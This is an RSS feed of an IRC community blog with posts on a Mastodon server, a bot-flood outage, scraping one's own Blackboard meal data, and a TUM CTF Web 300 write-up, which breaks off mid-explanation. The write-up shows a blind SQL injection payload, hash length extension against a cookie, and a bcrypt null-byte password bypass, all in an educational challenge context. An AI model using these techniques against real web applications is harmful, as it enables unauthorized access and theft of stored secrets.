<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>PdgnBlog</title>
    <description>PdgnCo is an IRC network and community. This is our community blog.
</description>
    <link>http://blog.pdgn.co/</link>
    <atom:link href="http://blog.pdgn.co/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 02 Aug 2017 20:18:29 +0000</pubDate>
    <lastBuildDate>Wed, 02 Aug 2017 20:18:29 +0000</lastBuildDate>
    <generator>Jekyll v3.4.5</generator>
    
      <item>
        <title>Announcement: Mastodon Server</title>
        <description>&lt;p&gt;As something of an experiment, I’ve opened up a &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt; server for
Pdgn. Signups currently require a pdgn.co email (another service I added without mentioning it!),
but I might change this as time goes on. You can visit the Mastodon site at
&lt;a href=&quot;https://goura.pdgn.co&quot;&gt;goura.pdgn.co&lt;/a&gt;. If you haven’t already heard of it, Mastodon is a federated
social network using OStatus (like &lt;a href=&quot;https://gnu.io&quot;&gt;GNU Social&lt;/a&gt;) which presents a web interface much
like &lt;a href=&quot;http://tweetdeck.twitter.com&quot;&gt;TweetDeck&lt;/a&gt;. Give it a try! If you don’t have a pdgn.co email,
ask me on IRC and I can either give you one or otherwise setup your account. Like other Pdgn
services, it’s named for a genus of pigeons. Goura is the genus of crowned pigeons. Here’s a picture
of a western crowned pigeon!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/1/11/Western_Crowned_Pigeon_%28Goura_cristata%29_in_TMII_Birdpark.jpg&quot; alt=&quot;Western Crowned Pigeon&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 02 Aug 2017 16:10:00 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2017/08/02/mastodon-server.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2017/08/02/mastodon-server.html</guid>
        
        
        <category>general</category>
        
      </item>
    
      <item>
        <title>Announcement: Unexpected Downtime</title>
        <description>&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: As of 12:43 PM EST on December 9th 2016, Pdgn is back online.&lt;/p&gt;

&lt;p&gt;As of 9:10 PM EST on December 8th 2016, Pdgn is currently experiencing unexpected downtime as the result of
a flood of bots joining the network. We are currently unaware of the reasons underlying this attack, but are
working to put software in place to prevent such attacks in the future. We apologize for any inconvenience
this may have caused. If you need to reach me for any reason, I’m currently on Freenode as aatxe. Pdgn will
be back as soon as possible.&lt;/p&gt;

&lt;p&gt;Thanks for bearing with us,&lt;br /&gt;
Aaron Weiss&lt;/p&gt;
</description>
        <pubDate>Thu, 08 Dec 2016 21:09:00 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2016/12/08/unexpected-downtime.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2016/12/08/unexpected-downtime.html</guid>
        
        
        <category>general</category>
        
      </item>
    
      <item>
        <title>Liberating data from Blackboard Transact for fun and profit</title>
        <description>&lt;p&gt;Like a lot of other college students in the US, I attend a university that uses
Blackboard Transact (or the Blackboard Transaction System, or Commerce Suite, or
whatever you want to call it). Transact handles a lot of things, including
building access control, meal plans, and declining-balance accounts (used for
things like purchasing from vending machines and paying with your student ID).
Some of this data is available through a web interface.&lt;/p&gt;

&lt;h2 id=&quot;the-goal&quot;&gt;The goal&lt;/h2&gt;

&lt;p&gt;For this exercise, I wanted to make a graph of what times I ate. The y-axis
would have the days of the week, and the x-axis would be the time at which I
ate. Points would represent the use of a meal swipe in the dining hall. The task
seemed simple enough. I could accomplish this sort of thing with a simple
gnuplot script:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;set term &quot;png&quot; size 1280,720
set out &quot;usage.png&quot;
set title &quot;Meal plan usage&quot; font &quot;,16&quot;
set yrange [7:-1]
set xrange [7:20]
set grid
set xtic 1
set ylabel &quot;Day of week&quot;
set xlabel &quot;Hour of day&quot;
plot &quot;points.dat&quot; using 3:1:yticlabels(2) title &quot;Meal swipe&quot; pt 9 ps 3
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;as long as I had data rows that looked like &lt;code class=&quot;highlighter-rouge&quot;&gt;daynumber dayname hour&lt;/code&gt; (for
example, &lt;code class=&quot;highlighter-rouge&quot;&gt;0 Monday 17.5&lt;/code&gt; would represent 5:30PM on a Monday). Getting this data
was a lot harder than I expected.&lt;/p&gt;

&lt;h2 id=&quot;the-web-interface&quot;&gt;The web interface&lt;/h2&gt;

&lt;p&gt;I figured the web interface, being the only way I could access this data, would
be a good start. The way meal plan usage is presented is through a paginated
table (with 15 rows per page). It looks like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/3b9dGQN.png&quot; alt=&quot;table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Clicking a page number causes some JavaScript to run which updates the table.&lt;/p&gt;

&lt;p&gt;I immediately thought “oh, good, there must be some beautiful API that I can
interface with.” So, I brought up Chrome’s dev tools, and watched a request.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/xOjVqgH.png&quot; alt=&quot;beautiful&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yeah that’s not very friendly to work with. I thought that maybe I could parse
the HTML, so I looked at how the link was defined and what it called when it was
clicked:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/GxSA54o.png&quot; alt=&quot;nope&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yep okay no thanks. This is HTML injected into a page when some JavaScript is
run, triggered by a link click, backed by ASP.NET. I didn’t particularly want to
figure out &lt;code class=&quot;highlighter-rouge&quot;&gt;doPostBack&lt;/code&gt; so I considered some other options.&lt;/p&gt;

&lt;h2 id=&quot;casperjs-becoming-the-browser&quot;&gt;CasperJS: becoming the browser&lt;/h2&gt;

&lt;p&gt;I figured this would be a good time to learn CasperJS, which is a tool that
simulates a browser, backed by PhantomJS (haha, ghost puns). Essentially, in
order to access transactions, I would:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;log in through the university’s SSO service&lt;/li&gt;
  &lt;li&gt;grant Blackboard permission to use my account data&lt;/li&gt;
  &lt;li&gt;search for all meal plan transactions&lt;/li&gt;
  &lt;li&gt;click each page and fetch all of the data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It turns out that this is fairly easy with Casper. I ran into a few problems
actually fetching the data, simply because of how awfully written this app is.
Below is the code I used.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var creds = require('./creds'); // private data: username/password

var casper = require('casper').create({verbose: true});
casper.start(&quot;https://my.uah.edu&quot;); // university SSO endpoint

var times = []; // will store meal plan usage times

casper.then(function() {
    // let's start by logging in
    this.evaluate(function(creds) {
        $('#username').val(creds.user);
        $('#password').val(creds.pass);
        $('.btn-submit').click();
    }, {creds: creds});
});

casper.thenOpen('https://eacct-uah-sp.blackboard.com/eAccounts/AccountSummary.aspx?menu=0', function() {
    // grant Blackboard permission to use our account data
    this.click(&quot;[value=Accept]&quot;);
});

casper.thenOpen(&quot;https://eacct-uah-sp.blackboard.com/eAccounts/BoardTransaction.aspx&quot;, function() {
    // search for *all* transactions
    this.evaluate(function() {
        $(&quot;#ctl00_MainContent_BeginRadDateTimePicker_dateInput&quot;).val(&quot;1/1/1999 12:00AM&quot;);
        $(&quot;#MainContent_QueryButton&quot;).click();
    });

    // wait for the page to load
    this.waitForSelector(&quot;td.NumericPages div.rgNumPart a&quot;, function() {
        // then see how many pages we have
        var pages = this.getElementsInfo(&quot;td.NumericPages div.rgNumPart a&quot;).length;

        var getPages = function(i, t) {
            // recursively fetch table pages...
            // first click the link to fetch the table
            t.evaluate(function(page) {
                var x = document.querySelectorAll(&quot;td.NumericPages div.rgNumPart a&quot;)[page]
                x.click();
            }, {page: i});

            // wait until the new table is loaded
            t.waitForSelectorTextChange(&quot;.rgWrap.rgInfoPart strong:first-child&quot;, function() {
                // then fetch every date/time of use in the table
                var data = t.evaluate(function() {
                    return $(&quot;#ctl00_MainContent_BoardTransactionsRadGrid_ctl00 tbody tr td:first-child&quot;).get().slice(1).map(function(i) { return i.innerHTML; });
                });
                data.forEach(function(i) { times.push(i); });
                // and move on to the next one
                if(i &amp;gt; 0) getPages(i - 1, t);
            });

        };

        // we do this in reverse order because by default the first page is
        // loaded -- this way we can reliably use waitForSelectorTextChange
        getPages(pages - 1, this);
    });
});

casper.then(function() {
    // output the data for use in later processing
    this.echo(times.join(&quot;;&quot;))
});

casper.run();
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It’s not very pretty, but given how difficult it was to interact with the page
programmatically I think I did an alright job.&lt;/p&gt;

&lt;h2 id=&quot;processing-the-data&quot;&gt;Processing the data&lt;/h2&gt;

&lt;p&gt;Now that we have dates and times, it’s really easy to do the rest. I used a
Python script to build the data file that gnuplot needed:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;from datetime import datetime
data = [datetime.strptime(i, &quot;%m/%d/%Y %I:%M %p&quot;) for i in input().split(&quot;;&quot;)]
weekdays = [&quot;Monday&quot;, &quot;Tuesday&quot;, &quot;Wednesday&quot;, &quot;Thursday&quot;, &quot;Friday&quot;, &quot;Saturday&quot;, &quot;Sunday&quot;]

points = [(i.weekday(), weekdays[i.weekday()], i.hour + (i.minute / 60)) for i in data]
outpoints = [&quot;{} {} {}&quot;.format(*i) for i in points]

with open(&quot;points.dat&quot;, &quot;w&quot;) as f:
    f.write(&quot;\n&quot;.join(outpoints))
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;And from there, it was just a matter of running gnuplot to get a graph like
this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/zc2k5KL.png&quot; alt=&quot;hooray&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hooray, it works!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Avoid interacting with Blackboard at all costs. Unless you want to make cool graphs.&lt;/p&gt;
</description>
        <pubDate>Sat, 22 Oct 2016 18:15:00 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2016/10/22/bbts.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2016/10/22/bbts.html</guid>
        
        
        <category>general</category>
        
      </item>
    
      <item>
        <title>TUM CTF Web 300 (f8901da0) writeup</title>
        <description>&lt;p&gt;This is my favorite problem pretty much ever. Kudos to whoever wrote it, I had a
great time solving it. Anyway, here goes.&lt;/p&gt;

&lt;p&gt;The code for the vulnerable web app can be found at the bottom of the post.&lt;/p&gt;

&lt;h2 id=&quot;initial-thoughts&quot;&gt;Initial thoughts&lt;/h2&gt;
&lt;p&gt;We’re given the source of a PHP script that is said to be vulnerable. Upon
initial examination, it looks like you can do four things with it: login to an
account, register a new account, render the flag, or dump the source. Let’s look
at each of these.&lt;/p&gt;

&lt;h3 id=&quot;the-login-procedure&quot;&gt;The login procedure&lt;/h3&gt;
&lt;p&gt;This is actually a fairly normal login procedure: get a row from a SQL database
that matches the username passed, log the attempt, verify the hash, and log in
by setting a cookie. Finally, if the login attempt is a valid admin login, set a
cookie with the flag.&lt;/p&gt;

&lt;p&gt;There are a few interesting things about this process, namely the hash algorithm
used is peculiar. In addition, an intermediate hash (or “pre-hash”) is stored as
part of the record of the login attempt, and the way the session cookie is
validated is vulnerable to a certain attack, which I will describe later.&lt;/p&gt;

&lt;h3 id=&quot;the-registration-procedure&quot;&gt;The registration procedure&lt;/h3&gt;
&lt;p&gt;It’s boring, not vulnerable, and doesn’t give us a flag! However, we do need a
valid user account in order to login and do anything, so this is helpful exactly
once.&lt;/p&gt;

&lt;h3 id=&quot;the-flag-rendering-procedure&quot;&gt;The flag rendering procedure&lt;/h3&gt;
&lt;p&gt;This doesn’t actually render the flag, however, it’s important later. It checks
to see if the class “user” variable is set to “admin.” This parameter is set by
the &lt;code class=&quot;highlighter-rouge&quot;&gt;validate_login&lt;/code&gt; function, which runs on every request. It turns out that
we can leak data by manipulating this variable.&lt;/p&gt;

&lt;h3 id=&quot;the-source-dump-procedure&quot;&gt;The source dump procedure&lt;/h3&gt;
&lt;p&gt;We’re looking at the results of this right now :)&lt;/p&gt;

&lt;h2 id=&quot;taking-a-closer-look&quot;&gt;Taking a closer look&lt;/h2&gt;

&lt;h3 id=&quot;the-validate_login-function&quot;&gt;The validate_login function&lt;/h3&gt;
&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;validate_login&lt;/code&gt; function is called on every request, so if there’s
something interesting we can do with this script, part of it is probably in
&lt;code class=&quot;highlighter-rouge&quot;&gt;validate_login&lt;/code&gt;. Let’s take a look.&lt;/p&gt;

&lt;p&gt;It turns out that &lt;code class=&quot;highlighter-rouge&quot;&gt;validate_login&lt;/code&gt; is vulnerable to a hash length extension
attack, which can be exploited by tools such as
&lt;a href=&quot;https://github.com/bwall/HashPump&quot;&gt;HashPump&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// validate
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sha1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'|'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'u'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'h'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]){&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Note that the secret is at the beginning of the argument to sha1, and not the
end — this means that we can append arbitrary data to “u.” Because of the way
this data is deserialized (see &lt;code class=&quot;highlighter-rouge&quot;&gt;read_cookie_string&lt;/code&gt;), this essentially means we
can set whatever data we want when the script assigns to &lt;code class=&quot;highlighter-rouge&quot;&gt;$u&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;read_cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'u'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Well, what data might we want to set? Let’s look at the next line:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$qres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SELECT * FROM users WHERE name = '&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;This code is vulnerable to a SQL injection attack — the “name” variable is not
escaped or sanitized in any way. But, what could we possibly do with this? The
result of the query is only used to set the &lt;code class=&quot;highlighter-rouge&quot;&gt;user&lt;/code&gt; attribute on the application
instance.&lt;/p&gt;

&lt;p&gt;Recall that we are able to use the “flag” action to check if “user” is equal to
“admin.” By setting “user” to either “admin” or something else, we can leak
data, one bit at a time, from the SQL database. We can abuse this to get entire
strings, one character at a time. Let’s get the first character of the admin
user’s &lt;code class=&quot;highlighter-rouge&quot;&gt;innersalt&lt;/code&gt; as an example:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;innersalt&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LIKE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BINARY&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'0%'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'not_admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We must use &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;&amp;gt;&lt;/code&gt; instead of &lt;code class=&quot;highlighter-rouge&quot;&gt;=&lt;/code&gt; because of the way the application deserializes
the cookie. Breaking down this query, we can see that it essentially checks if
admin’s &lt;code class=&quot;highlighter-rouge&quot;&gt;innersalt&lt;/code&gt; matches &lt;code class=&quot;highlighter-rouge&quot;&gt;0%&lt;/code&gt;, essentially checking if the first character is
a zero, returning “admin” if it is, and “not_admin” if it is not. We can
retrieve this value by invoking the “flag” action. Then, we repeat until we
find the correct character, then move on to the next character. Through this
technique we can leak any value in its entirety from the database.&lt;/p&gt;

&lt;h3 id=&quot;the-hashing-algorithm&quot;&gt;The hashing algorithm&lt;/h3&gt;
&lt;p&gt;The hashing algorithm used for storing passwords is of particular interest. It
uses two salts (&lt;code class=&quot;highlighter-rouge&quot;&gt;innersalt&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;outersalt&lt;/code&gt;), and uses a pre-hash generated with
the Whirlpool algorithm. This pre-hash is then passed through bcrypt to generate
the final hash stored in the database.&lt;/p&gt;

&lt;p&gt;The flaw in this algorithm is that the Whirlpool algorithm can generate a hash
that includes a null byte (&lt;code class=&quot;highlighter-rouge&quot;&gt;\x00&lt;/code&gt;). It turns out that when PHP verifies or
generates a bcrypt hash, it ignores everything after that null byte. That is:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$data1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;hello&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;world&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$data2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;hello&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;universe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;password_verify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;password_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PASSWORD_DEFAULT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)));&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// bool(true)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Since “raw mode” is used, PHP does not hex-encode the output of the hash
function when calling hash(), and so if a null byte is in data passed into
&lt;code class=&quot;highlighter-rouge&quot;&gt;password_hash&lt;/code&gt;, it’s incredibly easy to break. There’s a great article on this
at &lt;a href=&quot;http://blog.ircmaxell.com/2015/03/security-issue-combining-bcrypt-with.html&quot;&gt;ircmaxell’s blog&lt;/a&gt;
that explains this vulnerability much better than I can.&lt;/p&gt;

&lt;p&gt;For reference, here’s the code for verifying a user’s password:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'outersalt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'innersalt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'whirlpool'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;password_verify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// do login
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;So, what we’re interested in here is checking if:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'whirlpool'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;will contain a null byte early enough that &lt;code class=&quot;highlighter-rouge&quot;&gt;$password&lt;/code&gt; is easy enough to brute
force.&lt;/p&gt;

&lt;p&gt;The login procedure actually logs this intermediate step (the &lt;code class=&quot;highlighter-rouge&quot;&gt;$password&lt;/code&gt;
variable above) in the database. Since we have a way of leaking data from the
database, we can of course leak the first log entry, which I (correctly) assumed
was an admin login. Since it might include null bytes, however, I decided it
would be best to try to leak this value hex-encoded, though:&lt;/p&gt;

